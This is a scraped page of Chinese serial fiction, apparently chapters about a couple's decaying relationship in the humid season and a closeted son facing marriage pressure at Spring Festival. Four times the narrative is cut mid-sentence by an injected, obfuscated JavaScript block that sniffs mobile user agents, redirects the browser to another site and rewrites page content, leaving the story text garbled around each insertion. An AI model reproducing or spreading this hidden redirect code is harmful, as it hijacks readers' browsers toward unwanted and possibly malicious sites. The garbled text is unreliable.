沉甸甸的坠手感。我看着透明水箱里晃荡的液体，它们清澈、无色，看起来完全无害。但这并不是普通的水，这是从我和林的呼吸里、从我们的毛孔里、从挂在阳台永远晒不干的内衣里强行压榨出来的水分。 它是这个家“病态”的实体化。 我提着这箱沉重的“生活”，走进卫生间，对准马桶倒了下去。 “哗啦——” 水流冲击水面，激起一阵空洞而暴力的回声。我盯着那个漩涡，看着这四升液体被吸入下水道的黑暗里。那一瞬间，我有一种错觉，仿佛我刚刚冲走的不是水，而是我和林这一整天没说出口的话，还有那些在沉默中滋生的霉菌。 但我知道，只要那个机器再转上几个小时，箱子又会满的。这是一种西西弗斯式的酷刑，只不过石头换成了水，山顶换成了这间三十平米的出租屋。 再回到卧室时，除湿机重新轰鸣起来，吹出的热风带着一股塑料受热后的焦味。 林醒了。 她侧躺着，把自己蜷缩成很小的一团，只有半张脸露在被子外面。昏暗中，她的眼睛亮得有些渗人，像是在深水里反光的玻璃片。 “满了？”她的声音沙哑，带着一种黏连的质感，像是两片胶带被撕开。 “满了。” 简短的两个字，落地即逝。我们之间早就不需要多余的寒暄，在这种湿度下，多说一个字都觉得累，仿佛语言本身也吸饱了水分，变得拖沓沉重。 我坐回床边，没有立刻躺下。床垫回弹的动静很沉闷。 突然，被子动了一下。林伸出一只脚，从被窝的边缘探出来，准确无误地抵在了我的大腿外侧。 她的脚很凉，甚至可以说是冰冷，像一条刚从冰箱冷冻室里拿出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088236|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的冻鱼，带着那种僵硬的、毫无生气的棱角。那股寒意透过我薄薄的棉质睡裤渗进来，瞬间激得我起了一层鸡皮疙瘩。 如果是五年前，我会立刻握住她的脚，把它塞进我的怀里暖着，或许还会调侃她像个冰窖。 但现在是凌晨四点，在回南天的核心。我太累了，累得连温柔都觉得是一种高耗能的奢侈品。 所以我没有动。 我只是任由那只冰冷的脚贴着我温热的大腿。那种冷与热的触碰并不舒服，甚至有一种极其尖锐的异物感——像是一把钝刀抵在皮肤上，虽然割不破，但你能清晰地感受到它的硬度。 她没有缩回去，我也没推开。 我们就维持着这个怪异的姿势。她的脚像是一个沉重的锚，把我钉在这个湿漉漉的床边，钉在这段已经发霉甚至有些腐烂的关系里。 “陈。”她忽然叫我。 “嗯？” “我想喝水。”她说。 我低下头，看着那只抵着我大腿的脚，那苍白的脚背上青色的血管隐约可见，像是一幅画坏了的地图。 明明刚刚才倒掉了四升水，她却还在渴。 “我去倒。” 我站起身，那只脚失去了支撑，重重地滑落在床单上，发出一声沉闷的声响。不知为何，那一刻我竟然觉得心里空了一块，像是某种令人厌恶却又赖以生存的刑具突然被撤走了。 13. 《回南天》（3） 林的视角： 正午十二点，屋子里暗得像黄昏。 我关了窗，拉上窗帘，把那灰白色的、像死鱼眼珠一样浑浊的天光挡在外面。但这毫无意义，湿气是从地板缝里渗出来的，是从旧墙皮的毛孔里呼出来的。 我站在阳台上收衣服。这已经是第三天了，挂在晾衣绳上的衬衫依然维持着一种半干不湿的僵硬姿态。它们垂在那里，袖管空荡荡地晃动，像是一排被抽干了水分却又无法风干的标本。 我取下陈的那件白衬衫。 面料摸上去是凉的，带着一种令人不悦的垂坠感，仿佛布料的纤维里吸饱了沉重的油脂。 鬼使神差地，我把脸埋进了那堆布料里。 深深吸了一口气。 没有洗衣液的薰衣草味，那早就散光了。涌入鼻腔的是一股陈旧的、发酵的气味。那是陈身上的味道——她在地铁里沾染的浑浊空气，她加班时分泌的冷汗，她头皮油脂的微酸；但同时，这也是我的味道，是我们这间屋子的味道，是那种霉菌在阴暗角落里静静繁殖的孢子味。 我感到一阵轻微的晕眩。 在这个季节，个体消失了。我和陈，就像两块放在同一个密封罐头里的面包，上面的霉斑早就连成了一片。我分不清哪一块菌落属于她，哪一块属于我。我们共享着同一种腐烂的进程。 我把脸从衬衫里拔出来，面料上留下了一个明显的、潮湿的压痕，像是一张在那儿窒息过的脸。 我没有叠衣服，只是把它们胡乱地堆在沙发上。那一刻我甚至产生了一种恶毒的快意：就这样吧，反正也烘不干，不如就让它们堆在一起，慢慢地发臭、长毛，最后变成一团分不开的烂泥。 陈的视角： 晚上八点，推开家门的时候，我以为自己走进了一个巨大的培养皿。 空气里的湿度应该已经超过了98%。除湿机还在墙角轰鸣，但听起来已经那是强弩之末的喘息。 林坐在沙发那堆乱七八糟的衣服中间，手里拿着一把指甲刀，正在剪脚趾甲。 “咔哒。” “咔哒。” 金属切断角质层的声音，清脆、短促、锋利。这是这间屋子里唯一干燥的声音。 我换了鞋，鞋底在玄关踩出一串黑色的湿印子。我感到一种深深的疲惫，那是骨头缝里进了水汽的酸痛。 “买了烘干机。”我说。声音在湿气里传播得不远，还没落地就被吞没了。 林剪指甲的动作停顿了一秒，但头没抬。“放哪？” “叠在洗衣机上面。” 我走过去，在她身边坐下。布艺沙发的坐垫也是潮的，坐下去的瞬间，那种阴冷的湿意顺着裤子的布料立刻贴上了大腿皮肤，像是有无数条细小的舌头在舔舐。 真恶心。 但我没有动。我看着林低垂的侧脸，她的眼镜片上蒙着一层薄薄的水雾，让我看不清她的眼神。 “没用的。”林突然说。 “什么没用？” “烘干机。除湿机。都没用。”她放下了指甲刀，转过头看我。那是怎样一种眼神啊，空洞，疲惫，却又带着一种神经质的清醒，“陈，你知道我们现在的关系像什么吗？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088237|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 我解开领口的扣子，试图透一口气：“像什么？” 林伸出手，她刚刚剪过的指尖有些锐利。她抓住了我的手，然后十指扣入我的指缝。 紧紧地。 掌心贴着掌心。 在那一瞬间，我感觉到了一层汗水被闷在两层皮肤中间。黏腻，滑腻，这种触感与其说是牵手，不如说是两块生肉被强行挤压在一起。汗水在我们的纹路里流动，分不清是谁的。 我想抽手，因为那种吸附感让我感到窒息。但我发现我并没有用力气去挣脱。 “像两张受潮后粘在一起的邮票。” 林的声音很轻，贴着我的耳朵，带着一股湿热的气流，“不仅背胶化了，连纸浆都融在一起了。” 我看着窗户玻璃上蜿蜒流下的水痕，像是一道道无法愈合的伤口。 “如果硬撕开呢？”我问。 林的手指收紧了，指甲掐进了我的手背，带来一阵细微却清晰的刺痛。 “会撕烂的。”她说，语气平淡得像是在陈述某种物理定律，“图案也没了，面值也没了。两张都会变成废纸。” 我沉默了。 手掌心的汗水越来越多，那种黏腻感变得令人作呕，但我们谁也没有松开。在这令人绝望的回南天里，这种恶心的黏连，竟然成了我们之间最坚固的纽带。 “那就烂在一起吧。”最后，我听到自己这样说。 林笑了笑，没有声音，只是嘴角极其轻微地牵动了一下。她把头靠在我的肩膀上，湿漉漉的头发蹭着我的脖子。 “嗯。烂在一起。” 14. 《湿疹》（1） 高铁钻出最后一条隧道的时候，陈叙的耳膜“波”地响了一声，那是气压失衡后的回弹。 这声轻响像是一个隐形的开关，把那个运行精密、干燥恒温的上海切断了，瞬间接通了另一个频道。 车厢里的光线暗了下去。窗外的景色不再是棱角分明的灰白水泥森林，而是迅速过渡成一种仿佛没洗干净的、湿漉漉的青绿。这里是江南腹地的丘陵，冬天的风不硬，但阴损，带着一股烂草根和河泥沤久了的腥气，顺着车厢连接处的缝隙往里钻。 陈叙把额头抵在冰凉的车窗玻璃上，看着外面飞掠而过的鱼塘。塘面上浮着一层死寂的绿萍，偶尔有几根枯萎的荷梗戳出来，像折断的手指。 广播里开始播报站名，那是一种混杂了方言口音的普通话，听起来黏糊糊的。 出站口的人不多，地面永远是潮湿的，像是刚拖过，又像是永远干不了。风卷着几张花花绿绿的男科医院广告单，贴着水泥地摩擦出“沙沙”的声响，最后死死地吸附在一根剥落了瓷砖的柱子上。 陈卫国站在栏杆外面。 隔着十几米的人群，陈叙一眼就看到了父亲。他穿着那件深蓝色的夹克，领口立着，双手插在兜里，背有些微驼，像是一截被风干了的树桩戳在灰白色的背景里。两年没见，陈卫国的鬓角白得更透了，眼袋垂下来，让他原本严厉的面相多了一种松弛后的颓败感。 陈叙推着箱子走过去。轮子在凹凸不平的地砖上磕碰，震得手心发麻。 “到了。”陈卫国没有迎上来接箱子，只是把插在兜里的手拿出来，指了指路边的车，“车在那边。” “嗯。” 那是一辆黑色的别克君越。七年前买的，陈叙出的首付，陈卫国还的月供。车漆依然很亮，黑得像一潭墨水，看得出经常打蜡，但这反而让它显出一种不合时宜的崭新。它停在一堆满是泥点的面包车和电动三轮车中间，像是一个早就过了发育期、皮肤松弛，却还被强行穿上崭新校服的中年人。 陈叙拉开后座的车门。 一股复杂的味道扑面而来。那是廉价的车载香水味、受潮的皮革味，以及一股浓郁的、略带苦涩的陈皮味——那是陈卫国用来掩盖烟味的手段。这些气味在这个密闭的铁盒子里发酵了许久，冲得人鼻腔发酸，胃里那一层浅浅的早饭开始翻涌。 “后备箱满了。”陈卫国坐在驾驶座上，头也没回，“那是你二姨给的菜籽油，还有两箱奶。箱子就放后座吧。” “好。” 陈叙把行李箱提起来，塞进后座。箱子的滚轮挤压到那箱牛奶的纸壳，发出“咯吱”一声轻响，像是骨骼错位。他侧着身子坐进去，腿不得不蜷缩着，避开那桶油腻腻的菜籽油。 “安全带。” “系了。” 陈卫国发动了车子。发动机发出一阵浑浊的颤抖，随即平复。 雨刮器干涩地划过前挡风玻璃，留下一道道模糊的半圆形水痕。陈卫国的目光死死地盯着玻璃右下角——那里有一块硬币大小的鸟屎，灰白色，已经干结钙化了，像一只浑浊的白内障眼睛，正好处于雨刮器够不到的死角。 车子汇入县城拥堵的车流。 正是下班高峰期，马路上挤满了电动车。那些骑车的人穿着厚重的挡风被，像一只只移动的棉花包，毫无章法地在车流缝隙里穿梭。 陈卫国开车很猛，起步喜欢轰油门，刹车又踩得急。车身在走走停停中剧烈晃动，陈叙的后脑勺时不时地撞在头枕上。 父子俩的对话在“系了”两个字之后就彻底断了。 但这并不是安静。车厢里充斥着一种令人焦躁的嘈杂。车载广播正在播放一档本地的健康栏目，一个声音亢奋的“专家”正在用极快的语速推销一种能够软化血管、延年益寿的胶囊。 “……三个疗程，只要三个疗程！你会发现你的血液像山泉水一样清澈……” 专家的声音在狭窄的车厢里回荡，震得人耳膜发闷。陈卫国没有关，也没有换台，甚至没有去调低音量。他只是面无表情地握着方向盘，手指随着专家的语速，无意识地在方向盘套上轻轻敲击。 车窗外的景色在倒退。 那是陈叙熟悉的、却又不想多看的故乡。路边是被拆了一半的老房子，裸露着红色的砖墙和钢筋，像撕裂的伤口。旁边紧挨着的就是围着绿色防护网的新楼盘，售楼处的红气球在灰蒙蒙的天空下无精打采地飘着。 “这块地，说是要建万达。”陈卫国突然开口，声音夹杂在卖药广告里，显得有些突兀。 陈叙看了一眼那片长满荒草的空地：“挺好。” “好什么，烂尾两年了。”陈卫国冷笑了一声，从后视镜里看了陈叙一眼，那眼神里并没有多少惋惜，反而带着一种早已看透世事的漠然，“开发商卷款跑了。现在就是个坑。” 陈叙不知道该接什么，只能“嗯”了一声。 那个“坑”很快被甩在身后。车子拐进了一条狭窄的单行道，两边的梧桐树被锯掉了枝桠，只剩下光秃秃的主干，像一排排举着残肢求救的人。 回到家属院的时候，天已经彻底黑了。 这是一个九十年代建的老小区，外墙的马赛克瓷砖剥落了不少，露出里面黑色的水泥底色，像皮肤上的癣。 陈卫国把车倒进那个狭窄得只能刚刚容纳车身的车位里，车轮压过地上的积水，溅起一片泥浆。 “那个……降压药，带了吗？”熄火前，陈卫国突然问了一句。 “带了。三盒。进口的那种。” “嗯。”陈卫国拔下钥匙，车厢里那令人窒息的卖药声终于戛然而止。世界安静了一秒，随后被远处偶尔传来的鞭炮声填满。 楼道的声控灯坏了很久了，也没人修。陈叙提着沉重的行李箱，跟在陈卫国身后，在黑暗中摸索着台阶。 二楼那家住户正在炒辣椒，辛辣的油烟味顺着防盗门的缝隙钻出来，混合着楼道里常年散不去的霉味、下水道反上来的臭味，这种混合气体像是有实体一样，呛得人喉咙发紧，肺管子生疼。 每一扇门后都传出声音：电视机的新闻联播声、孩子尖锐的哭闹声、女人高声呵斥的声音、锅铲碰撞铁锅的声音。这些声音汇聚在一起，形成了一种巨大的、热气腾腾的声浪。 这就是“家”的声音。热闹，拥挤，且不容置疑。 到了三楼，陈卫国掏出钥匙。钥匙串上挂着指甲剪和挖耳勺，随着他的动作发出细碎的脆响。 门开了。 暖黄色的灯光倾泻而出，带着一股暖气。 母亲李秀兰听到动静，快步从厨房迎出来。她穿着那条洗得发白的碎花围裙，上面沾着几处洗不掉的深色油渍。看到陈叙，她在那条围裙上用力地擦了擦手，脸上瞬间堆起那种小心翼翼的、近乎讨好的笑。 “哎呀，到了啊。快，快把箱子放下。”母亲的声音有点哑，显然是刚才在厨房被烟熏的，“正好，老鸭汤刚端上来，放了你最爱吃的酸萝卜，炖了一下午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088238|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢。” 陈叙站在玄关，低头换鞋。 他脚上那双切尔西靴是前几天在静安嘉里中心买的，皮质硬挺，线条利落，鞋底沾着上海的高架尘土。而此刻，这双鞋在这个掉了漆、边缘翘起的层板鞋柜面前，显得那么格格不入，像个不懂规矩的闯入者。 鞋柜旁，整整齐齐地摆着一双崭新的男士棉拖鞋。 深蓝色，超市里最常见的那种，鞋面上印着莫名其妙的英文字母“SPORT”。那是全新的，连吊牌的塑料线头都没剪干净。 “超市搞活动，只有44码的了。”母亲注意到他的目光，连忙解释道，语气里带着一丝怕他嫌弃的慌乱，“我想着大点好，大点宽松，不挤脚。” 陈叙的脚只有41码。 他看着那双巨大的拖鞋，像是看着某种标准化的刑具。在这个家里，并没有“陈叙”这个具体的尺码，只有“儿子”这个模糊的概念。只要能塞进去，大一点有什么关系？宽松，那是福气。 他什么也没说，弯下腰，解开靴子的拉链，把脚伸进那双深蓝色的棉拖鞋里。 果然大了太多。脚后跟空出一大截，脚掌在鞋膛里打滑。他试着走了一步，鞋底沉重地拍打在实木地板上，发出“啪嗒、啪嗒”的拖沓声响。 这种声音让他觉得自己瞬间老了十岁，变成了一个步履蹒跚、不得不拖着步子走路的老人。 “洗手去吧，满手的细菌。”陈卫国换好了鞋，背着手走向客厅，路过陈叙身边时，身上那股陈皮味混杂着烟草味更浓烈了。 陈叙拖着那双不合脚的鞋，走进了这个熟悉又陌生的“家”。 客厅的陈设和他离开时一模一样，甚至连沙发垫的位置都没有挪动过一寸。沙发扶手上铺着白色的镂空钩花巾，已经被磨得起了毛球，那是为了防止弄脏沙发的保护层。茶几上铺着一层厚厚的软玻璃，下面压着各种缴费单和几张泛黄的照片。 陈叙在沙发上坐下。屁股陷进软绵绵的垫子里，那种被包裹的感觉并不舒适，反而像是一脚踩进了沼泽。 他抬起头。 正对着沙发的墙上，依然挂着那幅巨大的十字绣——《家和万事兴》。 那是母亲退休那年，戴着老花镜，花了一整年时间，一针一线绣出来的。画面上是几朵硕大得有些失真的牡丹花，花瓣层层叠叠，红得艳俗而热烈。在花丛中间，是一个巨大的、黑色的魏碑体“家”字，旁边配着一行行红色的小字：“和气生财”、“万事如意”。 这幅绣品被装裱在一个金色的欧式雕花画框里，占据了客厅最显眼的位置。 因为南方的潮湿，画布的边角已经有些微微泛黄，有了霉斑的迹象。但那个被玻璃罩住的“家”字，依然黑得深沉，黑得压抑。 吸顶灯冷白的光打在玻璃画框上，反射出一片晃眼的亮斑。 陈叙看着那个字。 他动了动腿，那双巨大的拖鞋松垮地挂在脚背上，沉甸甸的。他感觉自己不是坐在自家的客厅里，而是被一枚看不见的钢针，工工整整地穿过胸膛，钉在了这幅《家和万事兴》的软木板上。 他是这幅巨大图景中一枚沉默的、不得不展示出“和气”与“完美”的昆虫标本。 “吃饭了！”母亲在餐厅喊道，声音里透着一种完成任务般的欢快。 陈叙深吸了一口气，空气里满是酸萝卜老鸭汤那种发酵的酸味。他撑着膝盖站起来，那双拖鞋再次发出“啪嗒”一声，像是一声无奈的叹息。 15. 《湿疹》（2） 饭桌是那张用了二十年的折叠圆桌，桌面贴着仿红木的塑料贴皮，边角因为长年的油污浸泡而微微翘起，露出里面受潮发黑的刨花板。 母亲李秀兰端着那个巨大的汤盆走过来，热气蒸腾，熏白了她的眼镜片。 “小心烫，小心烫。”她嘴里念叨着，把汤盆重重地顿在桌子正中央。那是一只很大的不锈钢盆，里面盛满了褐色的老鸭汤，表面漂浮着一层厚厚的、金黄色的油脂，像是一片静止的死海。 陈卫国坐在主位上，面前摆着一只二两的玻璃酒杯。他拿起那瓶只剩下一半的“天之蓝”，瓶口对着杯口，手腕微微抖动。透明的液体拉成一条细线，精准地注入杯中，直到液面微微高出杯沿，形成一个岌岌可危的张力弧面，却一滴也没洒出来。 这是他几十年练就的功夫，一种在微醺边缘保持绝对控制的仪式感。 “吃。”陈卫国放下酒瓶，拿起筷子。 这一声令下，晚饭才算正式开始。 陈叙端着碗，米饭盛得很满，压得很实。这是母亲的习惯，她总是觉得儿子在外面吃不饱，所以要把所有的爱都通过淀粉填塞进他的胃里。 陈卫国伸出筷子，在汤盆里搅动了一下。不锈钢勺子刮擦盆底，发出令人牙酸的“滋啦”声。他精准地夹住了那只鸭腿，提起来，带起一串油水。 那鸭腿炖得皮开肉绽，惨白的骨头露在外面，暗红色的肉丝挂在上面，颤巍巍的。 “接着。”父亲说。 陈叙把碗递过去。 那只沉甸甸的鸭腿被放在了他的米饭尖上，瞬间压塌了一块白饭。油脂顺着饭粒渗下去，染出一条黄色的痕迹。 “多吃点。”父亲收回筷子，语气不容置疑，“这鸭子是你二姨从乡下带回来的，养了三年的老鸭，上海买不到。在那边全是饲料鸡，吃得人骨头软。” “嗯。”陈叙低头。 他并不喜欢吃老鸭。肉质太柴，纤维粗硬，容易塞牙。但他没有拒绝的权利。在这个家里，这只鸭腿不是食物，是一种特权，一种长子、男丁独享的皇冠。三十三年来，只要他在家，这只腿就永远属于他。 这是一种恩赐，也是一种标记。标记着他是这个家庭资源的绝对继承者，同时也标记着他必须承担的义务。 陈叙夹起鸭腿，咬了一口。皮很厚，在那层肥油下面，是坚硬的肌肉纤维。他用力咀嚼，腮帮子发酸，却很难咽下去。 电视机开着，正在播放省台的新闻联播。女主播字正腔圆的声音充当着这顿饭的背景音，填补了父子之间无话可说的空白。 “那个……隔壁你王伯伯家的老二，叫小涛的，你知道吧？” 母亲没有动筷子，她正忙着把锅里的青菜盛出来。她的声音混杂在电视新闻里，显得有些漫不经心，但陈叙听出了那种特意调整过的频率。 陈叙咀嚼的动作顿了一下，那块干柴的鸭肉卡在喉咙口：“不太记得了。” “就是小时候经常跟在你屁股后面流鼻涕那个。”母亲坐下来，摘下眼镜，在衣角上擦了擦雾气，“上个月生了。是个儿子，八斤二两。” “哦。”陈叙终于把那块肉咽了下去，“挺好。” “好什么呀，折腾死了。”母亲戴上眼镜，眼睛里却闪着光，“说是难产，顺转剖。王伯伯急得在产房外面哭。不过看到孙子那一刻，老头子高兴坏了。昨天见人就发红蛋，那个红鸡蛋染得，满手都是红的。” “八斤二两。”父亲突然接过了话头。 他端起那个满得快要溢出来的酒杯，小心翼翼地凑到嘴边，“滋儿”地一声，抿去了一层。辛辣的酒气瞬间在狭窄的餐厅里弥漫开来。 “是个大胖小子。”父亲放下杯子，夹了一粒花生米扔进嘴里，嚼得嘎嘣响，“老王这下算是落地了。前几年他还愁，说小涛工资低，找不到媳妇。你看，这不也过来了？人这一辈子，忙忙碌碌图个什么？” 父亲停顿了一下，目光穿过饭桌上方升腾的热气，落在陈叙的脸上。 “不就图个后继有人？图个死了以后，坟头上有个人摔盆，有个人哭？” 陈叙感到胃里一阵痉挛。那块刚刚咽下去的鸭肉仿佛变成了铅块，坠得生疼。 这是每年春节餐桌上的保留剧目。 父母就像两个配合默契的猎人。母亲负责铺垫，用邻里街坊那些琐碎的、具体的幸福作为诱饵；父亲负责收网，将那些琐事上升到伦理、宗族、生死的高度，最后化作一记重锤，敲打在他这个“异类”的身上。 他们从来不会直白地逼问“你为什么不结婚”。那是没受过教育的农村父母才干的事。他们是体面人，他们用“别人的圆满”作为镜子，立在饭桌中央，强迫陈叙去照出自己的“残缺”和“畸形”。 陈叙低头扒饭，筷子机械地往嘴里送着米粒。 “那个小涛，初中都没毕业吧？”陈叙突然说了一句。他不知道自己为什么要反击，也许只是为了打破这种窒息的审判。 “学历高有什么用？”父亲冷笑了一声，声音陡然提高了几分，“学历高能当饭吃？能当孙子抱？人家小涛虽然是在厂里打工，但人家活得明白！老婆孩子热炕头，这才叫过日子。你呢？你在上海，是经理，穿得人模狗样，回家连口热乎水都喝不上，那叫什么？那叫漂着！” “漂着”这两个字，被父亲咬得很重，像是一口浓痰吐在了地上。 母亲在桌子底下轻轻踢了父亲一脚，给他夹了一块鱼肚子上的肉：“吃鱼，吃鱼。大过年的，少说两句。陈叙工作忙，那是干事业。” “事业？”父亲并没有顺着台阶下，酒精让他的脸泛起一种猪肝红，眼神也变得浑浊而咄咄逼人，“再大的事业，没人接班，那就是断头路。等到六十岁，七十岁，躺在床上动不了了，护工虐待你，你连个喊冤的人都没有。那时候你就知道什么是凄凉了。” 陈叙握着筷子的手骨节泛白。 他想说：我有伴侣，他对我很好。我们有保险，有信托，有彼此的意定监护协议。我们不凄凉，我们过得比那个为了奶粉钱在流水线上三班倒的小涛要有尊严得多。 但他看着父亲鬓角那片触目惊心的白发，看着母亲因为常年接触冷水而变形、贴着创可贴的指关节。 那些话就像吞进肚子里的生铁，沉甸甸地坠着，发不出一点声音。 在这个家里，真相不是解药，而是毒药。如果他说出真相，父亲那套赖以生存的“面子体系”和“宗族逻辑”就会瞬间崩塌。父亲会觉得自己的整个人生都失败了，彻底输给了那个只有初中文凭的老王。 由于爱，或者由于一种被驯化后的懦弱，陈叙选择了闭嘴。 餐厅的窗户上凝结了一层厚厚的水雾，外面的世界模糊不清，只剩下远处偶尔炸响的鞭炮声，沉闷得像是在水底。 陈卫国又喝了一口酒。这次喝得有点急，他皱着眉，发出嘶哈的声音，像是在吞咽某种苦药。 “我也不是催你。”父亲放下酒杯，筷子在半空中点了点，语气软化了一些，变成了一种推心置腹的苦口婆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088239|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心，“你是读书人，眼光高，不想凑合，我知道。但人不能活得太独。年轻时候觉得自由好，觉得一个人吃饱全家不饿。那是你没老。” 他伸出那只粗糙的大手，在空中比划了一个圆。 “这就是个圈。生老病死，传宗接代，这是规矩。你跳出这个圈，你就是那个……那个孤魂野鬼。” 陈叙看着碗里剩下的半个鸭腿。油脂已经凝固了，变成了一层白色的膏状物，黏在暗红色的鸭肉上，看起来令人作呕。 他突然觉得自己就像这桌上的一个盲盒。 父母花费了三十年的心血，小心翼翼地捧着这个盒子，期待里面开出一个“光宗耀祖”、“儿孙满堂”的隐藏款。但其实盒子早就开了，里面装的是他们最无法理解、最恐惧的东西。 他们隐约猜到了，或者看到了缝隙里透出的怪异光芒，但他们不敢打开。他们宁愿把盒子封死，假装里面装的还是那个他们想要的东西，然后一遍遍地对着盒子念咒语，试图把里面的东西“变”回来。 “爸。”陈叙放下了筷子。 餐厅里安静了一秒。只有冰箱压缩机突然启动的嗡嗡声。 陈卫国抬起眼皮，看着他。那目光里有一种复杂的期待，仿佛在等着陈叙说出那句他等了好多年的“我带个女朋友回来”。 “工作太忙了。” 陈叙给出了那个万能的、也是最安全的答案。 “今年刚升了职，手底下管着几十号人，项目一个接一个。每天加班到半夜，确实没精力想这些。等过两年再说吧。” 这就是他的盾牌。在东亚家庭里，“忙事业”是男人唯一合法的避难所。它既满足了父母对于“出息”的虚荣心，又为他的逃避提供了一个无可指责的借口。 陈卫国盯着他看了几秒。 那目光是冷的，带着一种洞悉一切的审视。父亲的眼神像探针一样在陈叙脸上游走，试图找出哪怕一丝破绽。陈叙没有躲闪，他用一种职场上训练出来的、温和而空洞的微笑回视着父亲。 父子俩就这样在满桌的残羹冷炙上方对视着。 过了许久，陈卫国收回了目光。他似乎接受了这个理由，又似乎只是不想在这个大年夜撕破脸皮。 “忙是好事。”父亲夹了一筷子青菜，放进嘴里慢慢地嚼着，“男人是要有事业。没事业，腰杆子不硬。” 他咽下青菜，又补了一句，声音很轻，却带着不容置疑的硬度： “但家也不能落下。工作是给老板干的，家是给自己留的后路。你再忙，还能忙一辈子？明年……哪怕是请假，你也得给我抽出时间来相看相看。不能再拖了。” “嗯。”陈叙应了一声。 对话在一种诡异的默契中滑过去了。 就像两个在薄冰上行走的人，脚底下的冰层发出了“咔嚓”的裂响，那道裂痕像蛇一样在两人之间游走。他们都听到了，都看见了，但谁也没有低头去看，只是极有默契地同时加快了脚步，假装脚下依然是坚实的土地。 “吃饭，吃饭。菜都凉了。”母亲适时地打断了沉默，她站起来，拿起陈叙的碗，“汤凉了，我去给你热热。多喝点汤，补补。” 陈叙没有拒绝。他看着母亲端着碗走进厨房的背影，那个背影有些佝偻，在油烟的熏染下显得模糊不清。 他重新拿起筷子，夹起一粒花生米。 那粒花生米是受了潮的，咬在嘴里不脆，有一种皮软的韧劲，带着一股陈旧的油耗味。他慢慢地嚼着，把那股味道咽进肚子里。 16. 《湿疹》（3） 初三是个灰色的阴天，云层压得很低，像是随时会塌下来。 陈叙被塞进那辆别克车里，带去了一家名为“雅园”的新开茶楼。父亲陈卫国今天特意换上了一件深红色的羊绒衫，那是陈叙去年寄回来的，领口有点紧，勒着他松弛的脖颈，显得脸上的血色格外充盈。 “今天这顿茶，是你王伯伯牵的线。”陈卫国一边倒车，一边对着后视镜整理那一丝不苟的头发，“女方是你刘叔的女儿，在建设银行上班，体制内，稳当。听说人长得文静，和你一样，爱看书。” 陈叙看着窗外掠过的枯树，没说话。在这个县城的语境里，“爱看书”通常是“性格孤僻”的委婉说法。 到了茶楼，才发现这里更像是个嘈杂的集市。 大厅里烟雾缭绕，混杂着瓜子味、劣质香薰味和男人们的汗味。虽然名为茶楼，但隔壁包厢传来的是哗啦哗啦的麻将声和高亢的叫牌声。所谓“雅园”，不过是给粗糙的市井生活贴了一张附庸风雅的墙纸。 他们订的包厢叫“兰亭”，里面却摆着两盆塑料感极强的假兰花，叶片上积了一层灰。 女方家已经到了。 刘叔是个嗓门很大的胖子，一见陈卫国就站起来，两双大手重重地握在一起，用力摇晃，仿佛是在进行某种力量的博弈。 “哎哟，老陈！这就是你家公子吧？一表人才，一表人才啊！”刘叔的目光像探照灯一样在陈叙身上扫了一圈，那是估价的眼神——看身高、看衣着、看那副只有在大城市才养得出来的冷淡皮相。 “哪里哪里，就是个书呆子。”陈卫国笑着，从包里掏出两包中华烟，熟练地拆开，散给在座的男人们。 陈叙被推到了前台。 他对面的沙发上坐着那个叫刘敏的女孩。三十岁左右，穿一件米白色的羽绒服，戴一副细框眼镜，头发一丝不苟地盘在脑后。她手里捧着一杯白开水，低着头，似乎对杯子里升起的气泡产生了浓厚的兴趣。 双方父母寒暄着，话题迅速从天气转到了房价，又从房价转到了退休金。陈叙和刘敏像两件被摆在货架正中央的展品，沉默地接受着周围人的评头论足。 “小敏这孩子，就是太老实。”刘敏的母亲嗑着瓜子，瓜子皮吐在手心里，“下班就回家，也不爱出去玩。我就说，这性格好，顾家。” “我们家陈叙也是。”陈卫国喷出一口烟雾，隔着青灰色的烟障，满意地看着这两个年轻人，“他在上海除了工作就是在家待着，不抽烟不喝酒，是个过日子的人。” 陈叙感到一阵荒谬。在父母的嘴里，他们被剥离了所有的个性、欲望和棱角，被修剪成了两株最适合栽种在名为“家庭”的盆景里的植物。 